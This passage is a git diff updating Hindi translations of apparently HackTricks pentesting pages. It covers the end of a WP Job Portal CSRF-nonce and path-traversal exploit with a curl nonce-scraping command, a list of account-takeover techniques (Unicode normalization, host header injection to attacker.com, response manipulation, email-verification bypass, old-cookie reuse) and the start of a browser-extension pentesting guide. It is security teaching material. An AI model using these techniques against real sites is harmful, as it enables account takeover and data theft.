केवल एक जांच मौजूद है, जो एक **CSRF नॉन्स** (`wp_verify_nonce()`) है, जिसे कोई भी आगंतुक सार्वजनिक पृष्ठ से प्राप्त कर सकता है, जिसमें शॉर्टकोड `[wpjobportal_my_resumes]` शामिल है। +3. **अप्रमाणित पहुंच** – हालांकि क्रिया `admin-post.php` के माध्यम से निष्पादित होती है, लेकिन केवल एक जांच मौजूद है, जो एक **CSRF nonce** (`wp_verify_nonce()`) है, जिसे कोई भी आगंतुक सार्वजनिक पृष्ठ से प्राप्त कर सकता है, जिसमें शॉर्टकोड `[wpjobportal_my_resumes]` शामिल है। #### शोषण -1. एक ताजा नॉन्स प्राप्त करें: +1. एक ताजा nonce प्राप्त करें: ```bash curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 ``` @@ -572,7 +573,7 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ ### अप्रमाणित मनमाना फ़ाइल डाउनलोड / पथ ट्रैवर्सल (WP Job Portal <= 2.3.2) -एक और कार्य, **downloadcustomfile**, आगंतुकों को पथ ट्रैवर्सल के माध्यम से **डिस्क पर कोई भी फ़ाइल डाउनलोड** करने की अनुमति देता था। कमजोर स्थान `modules/customfield/model.php::downloadCustomUploadedFile()` में स्थित है: +एक और कार्य, **downloadcustomfile**, आगंतुकों को **डिस्क पर कोई भी फ़ाइल** डाउनलोड करने की अनुमति देता है पथ ट्रैवर्सल के माध्यम से। कमजोर स्थान `modules/customfield/model.php::downloadCustomUploadedFile()` में स्थित है: ```php $file = $path . '/' . $file_name; ... diff --git a/src/pentesting-web/account-takeover.md b/src/pentesting-web/account-takeover.md index b83431cfc..ab8274cc5 100644 --- a/src/pentesting-web/account-takeover.md +++ b/src/pentesting-web/account-takeover.md @@ -1,127 +1,134 @@ -# Account Takeover +# खाता अधिग्रहण {{#include ../banners/hacktricks-training.md}} -## **Authorization Issue** +## **अधिकार समस्या** एक खाते का ईमेल बदलने का प्रयास किया जाना चाहिए, और पुष्टि प्रक्रिया **की जांच की जानी चाहिए**। यदि यह **कमजोर** पाया जाता है, तो ईमेल को लक्षित पीड़ित के ईमेल में बदल दिया जाना चाहिए और फिर पुष्टि की जानी चाहिए। -## **Unicode Normalization Issue** +## **यूनिकोड सामान्यीकरण समस्या** 1. लक्षित पीड़ित का खाता `victim@gmail.com` -2. Unicode का उपयोग करके एक खाता बनाया जाना चाहिए\ +2. यूनिकोड का उपयोग करके एक खाता बनाया जाना चाहिए\ उदाहरण के लिए: `vićtim@gmail.com` -जैसा कि [**इस वार्ता में**](https://www.youtube.com/watch?v=CiIyaZ3x49c) समझाया गया है, पिछले हमले को तीसरे पक्ष की पहचान प्रदाताओं का दुरुपयोग करके भी किया जा सकता है: +जैसा कि [**इस वार्ता**](https://www.youtube.com/watch?v=CiIyaZ3x49c) में समझाया गया है, पिछले हमले को तीसरे पक्ष की पहचान प्रदाताओं का दुरुपयोग करके भी किया जा सकता है: -- पीड़ित के समान ईमेल के साथ तीसरे पक्ष की पहचान में एक खाता बनाएं, जिसमें कुछ unicode वर्ण हो (`vićtim@company.com`)। +- पीड़ित के समान ईमेल के साथ तीसरे पक्ष की पहचान में एक खाता बनाएं, जिसमें कुछ यूनिकोड वर्ण हो (`vićtim@company.com`)। - तीसरे पक्ष के प्रदाता को ईमेल की पुष्टि नहीं करनी चाहिए -- यदि पहचान प्रदाता ईमेल की पुष्टि करता है, तो आप डोमेन भाग पर हमला कर सकते हैं जैसे: `victim@ćompany.com` और उस डोमेन को पंजीकृत कर सकते हैं और आशा करते हैं कि पहचान प्रदाता डोमेन का ascii संस्करण उत्पन्न करे जबकि पीड़ित प्लेटफ़ॉर्म डोमेन नाम को सामान्य करता है। -- इस पहचान प्रदाता के माध्यम से पीड़ित प्लेटफ़ॉर्म में लॉगिन करें, जिसे unicode वर्ण को सामान्य करना चाहिए और आपको पीड़ित खाते तक पहुंचने की अनुमति देनी चाहिए। +- यदि पहचान प्रदाता ईमेल की पुष्टि करता है, तो आप डोमेन भाग पर हमला कर सकते हैं जैसे: `victim@ćompany.com` और उस डोमेन को पंजीकृत कर सकते हैं और आशा करते हैं कि पहचान प्रदाता डोमेन का ascii संस्करण उत्पन्न करे जबकि पीड़ित प्लेटफ़ॉर्म डोमेन नाम को सामान्यीकृत करता है। +- इस पहचान प्रदाता के माध्यम से पीड़ित प्लेटफ़ॉर्म में लॉगिन करें, जिसे यूनिकोड वर्ण को सामान्यीकृत करना चाहिए और आपको पीड़ित खाते तक पहुंचने की अनुमति देनी चाहिए। + +अधिक विवरण के लिए, यूनिकोड सामान्यीकरण पर दस्तावेज़ देखें: -अधिक जानकारी के लिए, Unicode Normalization पर दस्तावेज़ देखें: {{#ref}} unicode-injection/unicode-normalization.md {{#endref}} -## **Reusing Reset Token** +## **रीसेट टोकन का पुन: उपयोग** -यदि लक्षित प्रणाली **रीसेट लिंक को फिर से उपयोग करने की अनुमति देती है**, तो `gau`, `wayback`, या `scan.io` जैसे उपकरणों का उपयोग करके **अधिक रीसेट लिंक खोजने** के प्रयास किए जाने चाहिए। +यदि लक्षित प्रणाली **रीसेट लिंक को पुन: उपयोग करने की अनुमति देती है**, तो `gau`, `wayback`, या `scan.io` जैसे उपकरणों का उपयोग करके **अधिक रीसेट लिंक खोजने** के प्रयास किए जाने चाहिए। -## **Pre Account Takeover** +## **पूर्व खाता अधिग्रहण** -1. पीड़ित का ईमेल प्लेटफ़ॉर्म पर साइन अप करने के लिए उपयोग किया जाना चाहिए, और एक पासवर्ड सेट किया जाना चाहिए (इसकी पुष्टि करने का प्रयास किया जाना चाहिए, हालांकि पीड़ित के ईमेल तक पहुंच की कमी इसे असंभव बना सकती है)। -2. एक को ओAuth का उपयोग करके पीड़ित के साइन अप करने और खाते की पुष्टि करने की प्रतीक्षा करनी चाहिए। -3. यह उम्मीद की जाती है कि नियमित साइन अप की पुष्टि की जाएगी, जिससे पीड़ित के खाते तक पहुंच प्राप्त होगी। +1. पीड़ित का ईमेल प्लेटफ़ॉर्म पर साइन अप करने के लिए उपयोग किया जाना चाहिए, और एक पासवर्ड सेट किया जाना चाहिए (इसकी पुष्टि करने का प्रयास किया जाना चाहिए, हालांकि पीड़ित के ईमेल तक पहुंच न होने पर यह असंभव हो सकता है)। +2. एक को ओAuth का उपयोग करके साइन अप करने और खाते की पुष्टि करने के लिए पीड़ित की प्रतीक्षा करनी चाहिए। +3. आशा है कि नियमित साइनअप की पुष्टि की जाएगी, जिससे पीड़ित के खाते तक पहुंच प्राप्त होगी। -## **CORS Misconfiguration to Account Takeover** +## **CORS गलत कॉन्फ़िगरेशन से खाता अधिग्रहण** + +यदि पृष्ठ में **CORS गलत कॉन्फ़िगरेशन** हैं, तो आप **उपयोगकर्ता से संवेदनशील जानकारी चुराने** में सक्षम हो सकते हैं ताकि **उसका खाता अधिग्रहित किया जा सके** या उसे उसी उद्देश्य के लिए प्रमाणीकरण जानकारी बदलने के लिए मजबूर किया जा सके: -यदि पृष्ठ में **CORS misconfigurations** हैं, तो आप **उपयोगकर्ता से संवेदनशील जानकारी चुराने** में सक्षम हो सकते हैं ताकि **उसका खाता ले लिया जा सके** या उसे उसी उद्देश्य के लिए प्रमाणीकरण जानकारी बदलने के लिए मजबूर किया जा सके: {{#ref}} cors-bypass.md {{#endref}} -## **Csrf to Account Takeover** +## **CSRF से खाता अधिग्रहण** यदि पृष्ठ CSRF के प्रति संवेदनशील है, तो आप **उपयोगकर्ता को अपना पासवर्ड**, ईमेल या प्रमाणीकरण संशोधित करने के लिए मजबूर कर सकते हैं ताकि आप फिर से इसे एक्सेस कर सकें: + {{#ref}} csrf-cross-site-request-forgery.md {{#endref}} -## **XSS to Account Takeover** +## **XSS से खाता अधिग्रहण** + +यदि आप एप्लिकेशन में XSS पाते हैं, तो आप कुकीज़, स्थानीय भंडारण, या वेब पृष्ठ से जानकारी चुराने में सक्षम हो सकते हैं जो आपको खाता अधिग्रहण की अनुमति दे सकती है: -यदि आप एप्लिकेशन में XSS पाते हैं, तो आप कुकीज़, स्थानीय भंडारण, या वेब पृष्ठ से जानकारी चुराने में सक्षम हो सकते हैं जो आपको खाता ले जाने की अनुमति दे सकती है: {{#ref}} xss-cross-site-scripting/ {{#endref}} -## **Same Origin + Cookies** +## **समान मूल + कुकीज़** + +यदि आप सीमित XSS या उपडोमेन अधिग्रहण पाते हैं, तो आप कुकीज़ के साथ खेल सकते हैं (उदाहरण के लिए, उन्हें स्थिर करना) ताकि पीड़ित के खाते को समझौता करने का प्रयास किया जा सके: -यदि आप सीमित XSS या एक उपडोमेन पर कब्जा पाते हैं, तो आप कुकीज़ के साथ खेल सकते हैं (उदाहरण के लिए, उन्हें स्थिर करना) ताकि पीड़ित खाते को समझौता करने का प्रयास किया जा सके: {{#ref}} hacking-with-cookies/ {{#endref}} -## **Attacking Password Reset Mechanism** +## **पासवर्ड रीसेट तंत्र पर हमला** + {{#ref}} reset-password.md {{#endref}} -## **Response Manipulation** +## **प्रतिक्रिया हेरफेर** यदि प्रमाणीकरण प्रतिक्रिया को **सरल बूलियन में घटाया जा सकता है, तो बस false को true में बदलने का प्रयास करें** और देखें कि क्या आपको कोई पहुंच मिलती है। -## OAuth to Account takeover +## OAuth से खाता अधिग्रहण + {{#ref}} oauth-to-account-takeover.md {{#endref}} -## Host Header Injection +## होस्ट हेडर इंजेक्शन -1. पासवर्ड रीसेट अनुरोध प्रारंभ करने के बाद होस्ट हेडर को संशोधित किया जाता है। +1. पासवर्ड रीसेट अनुरोध आरंभ करने के बाद होस्ट हेडर को संशोधित किया जाता है। 2. `X-Forwarded-For` प्रॉक्सी हेडर को `attacker.com` में बदला जाता है। -3. होस्ट, रेफरर, और ओरिजिन हेडर को एक साथ `attacker.com` में बदला जाता है। -4. पासवर्ड रीसेट प्रारंभ करने के बाद और फिर मेल को फिर से भेजने का विकल्प चुनने के बाद, उपरोक्त तीनों विधियों का उपयोग किया जाता है। +3. होस्ट, रेफरर, और मूल हेडर को एक साथ `attacker.com` में बदल दिया जाता है। +4. पासवर्ड रीसेट शुरू करने के बाद और फिर मेल को फिर से भेजने का विकल्प चुनने के बाद, उपरोक्त तीनों विधियों का उपयोग किया जाता है। -## Response Manipulation +## प्रतिक्रिया हेरफेर -1. **कोड मैनिपुलेशन**: स्थिति कोड को `200 OK` में बदला जाता है। -2. **कोड और बॉडी मैनिपुलेशन**: -- स्थिति कोड को `200 OK` में बदला जाता है। +1. **कोड हेरफेर**: स्थिति कोड को `200 OK` में बदला जाता है। +2. **कोड और बॉडी हेरफेर**: +- स्थिति कोड को `200 OK` में बदल दिया जाता है। - प्रतिक्रिया बॉडी को `{"success":true}` या एक खाली वस्तु `{}` में संशोधित किया जाता है। -ये मैनिपुलेशन तकनीकें उन परिदृश्यों में प्रभावी हैं जहां डेटा ट्रांसमिशन और रिसीप्ट के लिए JSON का उपयोग किया जाता है। +ये हेरफेर तकनीकें उन परिदृश्यों में प्रभावी होती हैं जहां डेटा ट्रांसमिशन और रिसीप्ट के लिए JSON का उपयोग किया जाता है। -## Change email of current session +## वर्तमान सत्र का ईमेल बदलें [इस रिपोर्ट](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea) से: -- हमलावर एक नए ईमेल के साथ अपना ईमेल बदलने का अनुरोध करता है +- हमलावर नए ईमेल के साथ अपना ईमेल बदलने का अनुरोध करता है - हमलावर ईमेल परिवर्तन की पुष्टि करने के लिए एक लिंक प्राप्त करता है - हमलावर पीड़ित को लिंक भेजता है ताकि वह उस पर क्लिक करे - पीड़ित का ईमेल हमलावर द्वारा निर्दिष्ट ईमेल में बदल दिया जाता है -- हमलावर पासवर्ड पुनर्प्राप्त कर सकता है और खाते पर कब्जा कर सकता है +- हमलावर पासवर्ड पुनर्प्राप्त कर सकता है और खाते का अधिग्रहण कर सकता है यह [**इस रिपोर्ट**](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea) में भी हुआ। -### Bypass email verification for Account Takeover +### खाता अधिग्रहण के लिए ईमेल सत्यापन बायपास - हमलावर attacker@test.com के साथ लॉगिन करता है और साइनअप पर ईमेल की पुष्टि करता है। -- हमलावर पुष्टि किए गए ईमेल को victim@test.com में बदलता है (ईमेल परिवर्तन पर कोई द्वितीयक पुष्टि नहीं) -- अब वेबसाइट victim@test.com को लॉगिन करने की अनुमति देती है और हमने पीड़ित उपयोगकर्ता की ईमेल सत्यापन को बायपास कर दिया है। +- हमलावर सत्यापित ईमेल को victim@test.com में बदलता है (ईमेल परिवर्तन पर कोई द्वितीयक सत्यापन नहीं) +- अब वेबसाइट victim@test.com को लॉगिन करने की अनुमति देती है और हमने पीड़ित उपयोगकर्ता के ईमेल सत्यापन को बायपास कर दिया है। -### Old Cookies +### पुराने कुकीज़ -[**इस पोस्ट**](https://medium.com/@niraj1mahajan/uncovering-the-hidden-vulnerability-how-i-found-an-authentication-bypass-on-shopifys-exchange-cc2729ea31a9) में समझाया गया है कि एक खाते में लॉगिन करना, एक प्रमाणित उपयोगकर्ता के रूप में कुकीज़ को सहेजना, लॉगआउट करना, और फिर फिर से लॉगिन करना संभव था।\ -नए लॉगिन के साथ, हालांकि विभिन्न कुकीज़ उत्पन्न हो सकती हैं, पुरानी कुकीज़ फिर से काम करने लगीं। +जैसा कि [**इस पोस्ट**](https://medium.com/@niraj1mahajan/uncovering-the-hidden-vulnerability-how-i-found-an-authentication-bypass-on-shopifys-exchange-cc2729ea31a9) में समझाया गया है, एक खाते में लॉगिन करना, कुकीज़ को एक प्रमाणित उपयोगकर्ता के रूप में सहेजना, लॉगआउट करना, और फिर फिर से लॉगिन करना संभव था।\ +नए लॉगिन के साथ, हालांकि विभिन्न कुकीज़ उत्पन्न हो सकती हैं, पुराने कुकीज़ फिर से काम करने लगे। -## References +## संदर्भ - [https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050](https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050) - [https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea) diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md index ce421a4e5..da6c315ca 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md @@ -14,24 +14,24 @@ ### **Content Scripts** -प्रत्येक कंटेंट स्क्रिप्ट के पास **एकल वेब पृष्ठ** के DOM तक सीधी पहुंच होती है और इस प्रकार यह **संभावित रूप से दुर्भावनापूर्ण इनपुट** के लिए उजागर होता है। हालाँकि, कंटेंट स्क्रिप्ट में एक्सटेंशन को संदेश भेजने की क्षमता के अलावा कोई अनुमति नहीं होती है। +प्रत्येक कंटेंट स्क्रिप्ट को **एकल वेब पृष्ठ** के DOM तक सीधी पहुंच होती है और इस प्रकार यह **संभावित रूप से दुर्भावनापूर्ण इनपुट** के संपर्क में आता है। हालाँकि, कंटेंट स्क्रिप्ट में एक्सटेंशन को संदेश भेजने की क्षमता के अलावा कोई अनुमतियाँ नहीं होती हैं। ### **Extension Core** -एक्सटेंशन कोर में अधिकांश एक्सटेंशन विशेषाधिकार/पहुँच होती है, लेकिन एक्सटेंशन कोर केवल [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) और कंटेंट स्क्रिप्ट के माध्यम से वेब सामग्री के साथ इंटरैक्ट कर सकता है। इसके अलावा, एक्सटेंशन कोर के पास होस्ट मशीन तक सीधी पहुंच नहीं होती है। +एक्सटेंशन कोर में अधिकांश एक्सटेंशन विशेषाधिकार/पहुँच होती है, लेकिन एक्सटेंशन कोर केवल [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) और कंटेंट स्क्रिप्ट के माध्यम से वेब सामग्री के साथ इंटरैक्ट कर सकता है। इसके अलावा, एक्सटेंशन कोर को होस्ट मशीन तक सीधी पहुंच नहीं होती है। ### **Native Binary** -एक्सटेंशन एक नैटिव बाइनरी की अनुमति देता है जो **उपयोगकर्ता के पूर्ण विशेषाधिकार के साथ होस्ट मशीन तक पहुंच सकता है।** नैटिव बाइनरी एक्सटेंशन कोर के साथ मानक नेटस्केप प्लगइन एप्लिकेशन प्रोग्रामिंग इंटरफेस ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) के माध्यम से इंटरैक्ट करता है, जिसका उपयोग फ्लैश और अन्य ब्राउज़र प्लग-इन्स द्वारा किया जाता है। +एक्सटेंशन एक नैटिव बाइनरी की अनुमति देता है जो **उपयोगकर्ता के पूर्ण विशेषाधिकारों के साथ होस्ट मशीन तक पहुंच सकता है।** नैटिव बाइनरी एक्सटेंशन कोर के साथ मानक नेटस्केप प्लगइन एप्लिकेशन प्रोग्रामिंग इंटरफेस ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) के माध्यम से इंटरैक्ट करता है, जिसका उपयोग फ्लैश और अन्य ब्राउज़र प्लग-इन्स द्वारा किया जाता है। ### Boundaries > [!CAUTION] > उपयोगकर्ता के पूर्ण विशेषाधिकार प्राप्त करने के लिए, एक हमलावर को एक्सटेंशन को यह मनाने की आवश्यकता होती है कि वह कंटेंट स्क्रिप्ट से दुर्भावनापूर्ण इनपुट को एक्सटेंशन के कोर में और एक्सटेंशन के कोर से नैटिव बाइनरी में पास करे। -एक्सटेंशन के प्रत्येक घटक को **मजबूत सुरक्षात्मक सीमाओं** द्वारा एक-दूसरे से अलग किया गया है। प्रत्येक घटक **अलग ऑपरेटिंग सिस्टम प्रक्रिया** में चलता है। कंटेंट स्क्रिप्ट और एक्सटेंशन कोर **सैंडबॉक्स प्रक्रियाओं** में चलते हैं जो अधिकांश ऑपरेटिंग सिस्टम सेवाओं के लिए अनुपलब्ध हैं। +एक्सटेंशन के प्रत्येक घटक को **मजबूत सुरक्षात्मक सीमाओं** द्वारा एक-दूसरे से अलग किया गया है। प्रत्येक घटक **अलग ऑपरेटिंग सिस्टम प्रक्रिया** में चलता है। कंटेंट स्क्रिप्ट और एक्सटेंशन कोर **सैंडबॉक्स प्रक्रियाओं** में चलते हैं जो अधिकांश ऑपरेटिंग सिस्टम सेवाओं के लिए उपलब्ध नहीं हैं। -इसके अलावा, कंटेंट स्क्रिप्ट अपने संबंधित वेब पृष्ठों से **अलग JavaScript हीप में चलती है**। कंटेंट स्क्रिप्ट और वेब पृष्ठ के पास **एक ही अंतर्निहित DOM** तक पहुंच होती है, लेकिन दोनों **कभी भी JavaScript पॉइंटर्स का आदान-प्रदान नहीं करते**, जिससे JavaScript कार्यक्षमता का लीक होना रोकता है। +इसके अलावा, कंटेंट स्क्रिप्ट अपने संबंधित वेब पृष्ठों से **अलग JavaScript हीप में चलती है**। कंटेंट स्क्रिप्ट और वेब पृष्ठ **एक ही अंतर्निहित DOM** तक पहुंच रखते हैं, लेकिन दोनों **कभी भी JavaScript पॉइंटर्स का आदान-प्रदान नहीं करते**, जिससे JavaScript कार्यक्षमता का लीक होना रोकता है। ## **`manifest.json`** @@ -61,7 +61,7 @@ Example: ``` ### `content_scripts` -Content scripts तब **लोड** होते हैं जब उपयोगकर्ता **एक मेल खाने वाले पृष्ठ पर नेविगेट** करता है, हमारे मामले में कोई भी पृष्ठ जो **`https://example.com/*`** अभिव्यक्ति से मेल खाता है और **`*://*/*/business*`** regex से मेल नहीं खाता। वे **पृष्ठ के अपने स्क्रिप्ट की तरह** निष्पादित होते हैं और पृष्ठ के [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) तक मनमाना पहुंच रखते हैं। +कंटेंट स्क्रिप्ट्स **लोड** होती हैं जब भी उपयोगकर्ता **एक मेल खाने वाले पृष्ठ पर नेविगेट** करता है, हमारे मामले में कोई भी पृष्ठ जो **`https://example.com/*`** अभिव्यक्ति से मेल खाता है और **`*://*/*/business*`** regex से मेल नहीं खाता। वे **पृष्ठ के अपने स्क्रिप्ट की तरह** निष्पादित होते हैं और पृष्ठ के [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) तक मनमाना पहुंच रखते हैं। ```json "content_scripts": [ { @@ -95,18 +95,18 @@ document.body.appendChild(div) > [!WARNING] > ब्राउज़र के आधार पर, सामग्री स्क्रिप्ट की क्षमताएँ थोड़ी भिन्न हो सकती हैं। क्रोमियम-आधारित ब्राउज़रों के लिए, क्षमताओं की सूची [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities) में उपलब्ध है, और फ़ायरफ़ॉक्स के लिए, [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) प्राथमिक स्रोत के रूप में कार्य करता है।\ -> यह भी ध्यान देने योग्य है कि सामग्री स्क्रिप्ट के पास बैकग्राउंड स्क्रिप्ट के साथ संवाद करने की क्षमता होती है, जिससे उन्हें क्रियाएँ करने और प्रतिक्रियाएँ वापस भेजने की अनुमति मिलती है। +> यह भी ध्यान देने योग्य है कि सामग्री स्क्रिप्ट्स के पास बैकग्राउंड स्क्रिप्ट्स के साथ संवाद करने की क्षमता होती है, जिससे उन्हें क्रियाएँ करने और प्रतिक्रियाएँ वापस भेजने की अनुमति मिलती है। -Chrome में सामग्री स्क्रिप्ट को देखने और डिबग करने के लिए, Chrome डेवलपर टूल मेनू को Options > More tools > Developer tools से या Ctrl + Shift + I दबाकर एक्सेस किया जा सकता है। +Chrome में सामग्री स्क्रिप्ट्स को देखने और डिबग करने के लिए, Chrome डेवलपर टूल्स मेनू को Options > More tools > Developer tools से एक्सेस किया जा सकता है या Ctrl + Shift + I दबाकर। -डेवलपर टूल प्रदर्शित होने पर, **Source tab** पर क्लिक किया जाना चाहिए, उसके बाद **Content Scripts** टैब। यह विभिन्न एक्सटेंशनों से चल रही सामग्री स्क्रिप्ट्स का अवलोकन करने और निष्पादन प्रवाह को ट्रैक करने के लिए ब्रेकपॉइंट सेट करने की अनुमति देता है। +डेवलपर टूल्स प्रदर्शित होने पर, **Source tab** पर क्लिक किया जाना चाहिए, उसके बाद **Content Scripts** टैब। यह विभिन्न एक्सटेंशनों से चल रही सामग्री स्क्रिप्ट्स का अवलोकन करने और निष्पादन प्रवाह को ट्रैक करने के लिए ब्रेकपॉइंट सेट करने की अनुमति देता है। ### Injected content scripts > [!TIP] > ध्यान दें कि **Content Scripts अनिवार्य नहीं हैं** क्योंकि यह **डायनामिकली** **inject** स्क्रिप्ट्स और **programatically inject** करने के लिए भी संभव है **`tabs.executeScript`** के माध्यम से। यह वास्तव में अधिक **granular controls** प्रदान करता है। -एक सामग्री स्क्रिप्ट के प्रोग्रामेटिक इंजेक्शन के लिए, एक्सटेंशन को उस पृष्ठ के लिए [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) होना आवश्यक है जिसमें स्क्रिप्ट्स को इंजेक्ट किया जाना है। ये अनुमतियाँ या तो एक्सटेंशन के मैनिफेस्ट में **उनकी मांग करके** या [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab) के माध्यम से अस्थायी आधार पर सुरक्षित की जा सकती हैं। +एक सामग्री स्क्रिप्ट के प्रोग्रामेटिक इंजेक्शन के लिए, एक्सटेंशन को उस पृष्ठ के लिए [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) की आवश्यकता होती है जिसमें स्क्रिप्ट्स को इंजेक्ट किया जाना है। ये अनुमतियाँ या तो एक्सटेंशन के मैनिफेस्ट में **उनकी मांग करके** या [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab) के माध्यम से अस्थायी रूप से सुरक्षित की जा सकती हैं। #### Example activeTab-based extension ```json:manifest.json @@ -171,13 +171,13 @@ URLs को शामिल या बाहर करने के लिए ** ### सामग्री स्क्रिप्ट `run_at` -`run_at` फ़ील्ड **यह नियंत्रित करती है कि JavaScript फ़ाइलें वेब पृष्ठ में कब इंजेक्ट की जाती हैं**। पसंदीदा और डिफ़ॉल्ट मान `"document_idle"` है। +`run_at` फ़ील्ड **यह नियंत्रित करती है कि JavaScript फ़ाइलें वेब पृष्ठ में कब इंजेक्ट की जाती हैं**। पसंदीदा और डिफ़ॉल्ट मान है `"document_idle"`। संभव मान हैं: - **`document_idle`**: जब भी संभव हो - **`document_start`**: `css` से किसी भी फ़ाइल के बाद, लेकिन किसी अन्य DOM के निर्माण या किसी अन्य स्क्रिप्ट के चलने से पहले। -- **`document_end`**: DOM के पूर्ण होने के तुरंत बाद, लेकिन छवियों और फ़्रेम जैसी उप-संसाधनों के लोड होने से पहले। +- **`document_end`**: DOM के पूर्ण होने के तुरंत बाद, लेकिन उप-संसाधनों जैसे छवियों और फ़्रेमों के लोड होने से पहले। #### `manifest.json` के माध्यम से ```json @@ -195,7 +195,7 @@ URLs को शामिल या बाहर करने के लिए ** } ``` -द्वारा **`service-worker.js`** +**`service-worker.js`** के माध्यम से ```javascript chrome.scripting.registerContentScripts([ { @@ -208,18 +208,18 @@ js: ["contentScript.js"], ``` ### `background` -सामग्री स्क्रिप्ट द्वारा भेजे गए संदेश **बैकग्राउंड पेज** द्वारा प्राप्त किए जाते हैं, जो एक्सटेंशन के घटकों के समन्वय में एक केंद्रीय भूमिका निभाता है। विशेष रूप से, बैकग्राउंड पेज एक्सटेंशन के जीवनकाल के दौरान बना रहता है, सीधे उपयोगकर्ता इंटरैक्शन के बिना काम करता है। इसमें अपना खुद का दस्तावेज़ ऑब्जेक्ट मॉडल (DOM) होता है, जो जटिल इंटरैक्शन और स्थिति प्रबंधन को सक्षम बनाता है। +सामग्री स्क्रिप्ट द्वारा भेजे गए संदेश **बैकग्राउंड पेज** द्वारा प्राप्त होते हैं, जो एक्सटेंशन के घटकों के समन्वय में एक केंद्रीय भूमिका निभाता है। विशेष रूप से, बैकग्राउंड पेज एक्सटेंशन के जीवनकाल के दौरान बना रहता है, बिना सीधे उपयोगकर्ता इंटरैक्शन के चुपचाप कार्य करता है। इसमें अपना खुद का डॉक्यूमेंट ऑब्जेक्ट मॉडल (DOM) होता है, जो जटिल इंटरैक्शन और स्थिति प्रबंधन को सक्षम बनाता है। **मुख्य बिंदु**: - **बैकग्राउंड पेज की भूमिका:** एक्सटेंशन के लिए नर्व सेंटर के रूप में कार्य करता है, विभिन्न भागों के बीच संचार और समन्वय सुनिश्चित करता है। -- **स्थायीता:** यह एक हमेशा उपस्थित इकाई है, जो उपयोगकर्ता के लिए अदृश्य है लेकिन एक्सटेंशन की कार्यक्षमता के लिए अनिवार्य है। -- **स्वचालित निर्माण:** यदि स्पष्ट रूप से परिभाषित नहीं किया गया है, तो ब्राउज़र स्वचालित रूप से एक बैकग्राउंड पेज बनाएगा। यह स्वचालित रूप से उत्पन्न पृष्ठ एक्सटेंशन के मैनिफेस्ट में निर्दिष्ट सभी बैकग्राउंड स्क्रिप्ट को शामिल करेगा, जिससे एक्सटेंशन के बैकग्राउंड कार्यों का निर्बाध संचालन सुनिश्चित होता है। +- **स्थिरता:** यह एक हमेशा उपस्थित इकाई है, जो उपयोगकर्ता के लिए अदृश्य है लेकिन एक्सटेंशन की कार्यक्षमता के लिए अनिवार्य है। +- **स्वचालित निर्माण:** यदि स्पष्ट रूप से परिभाषित नहीं किया गया है, तो ब्राउज़र स्वचालित रूप से एक बैकग्राउंड पेज बनाएगा। यह स्वचालित रूप से उत्पन्न पृष्ठ सभी बैकग्राउंड स्क्रिप्ट को शामिल करेगा जो एक्सटेंशन के मैनिफेस्ट में निर्दिष्ट हैं, यह सुनिश्चित करते हुए कि एक्सटेंशन के बैकग्राउंड कार्यों का निर्बाध संचालन हो। > [!TIP] -> ब्राउज़र द्वारा स्वचालित रूप से बैकग्राउंड पेज उत्पन्न करने की सुविधा (जब स्पष्ट रूप से घोषित नहीं किया गया हो) यह सुनिश्चित करती है कि सभी आवश्यक बैकग्राउंड स्क्रिप्ट एकीकृत और कार्यात्मक हैं, जिससे एक्सटेंशन की सेटअप प्रक्रिया को सरल बनाया जा सके। +> ब्राउज़र द्वारा स्वचालित रूप से बैकग्राउंड पेज उत्पन्न करने की सुविधा (जब स्पष्ट रूप से घोषित नहीं किया गया हो) यह सुनिश्चित करती है कि सभी आवश्यक बैकग्राउंड स्क्रिप्ट एकीकृत और कार्यशील हैं, जिससे एक्सटेंशन की सेटअप प्रक्रिया को सरल बनाया जा सके। -Example background script: +उदाहरण बैकग्राउंड स्क्रिप्ट: ```js chrome.runtime.onMessage.addListener((request, sender, sendResponse) => { if (request == "explain") { @@ -235,7 +235,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" }) ### विकल्प पृष्ठ और अन्य -ब्राउज़र एक्सटेंशन में विभिन्न प्रकार के पृष्ठ हो सकते हैं: +ब्राउज़र एक्सटेंशन विभिन्न प्रकार के पृष्ठों को शामिल कर सकते हैं: - **एक्शन पृष्ठ** तब प्रदर्शित होते हैं जब **एक्सटेंशन आइकन** पर क्लिक किया जाता है। - पृष्ठ जो एक्सटेंशन **एक नए टैब में लोड करेगा**। @@ -245,12 +245,12 @@ chrome.tabs.create({ url: "https://example.net/explanation" }) ध्यान दें कि ये पृष्ठ पृष्ठभूमि पृष्ठों की तरह स्थायी नहीं होते हैं क्योंकि वे आवश्यकता के अनुसार गतिशील सामग्री लोड करते हैं। इसके बावजूद, वे पृष्ठभूमि पृष्ठ के साथ कुछ क्षमताएँ साझा करते हैं: -- **सामग्री स्क्रिप्ट के साथ संचार:** पृष्ठभूमि पृष्ठ के समान, ये पृष्ठ सामग्री स्क्रिप्ट से संदेश प्राप्त कर सकते हैं, जो एक्सटेंशन के भीतर बातचीत को सुविधाजनक बनाता है। +- **सामग्री स्क्रिप्ट के साथ 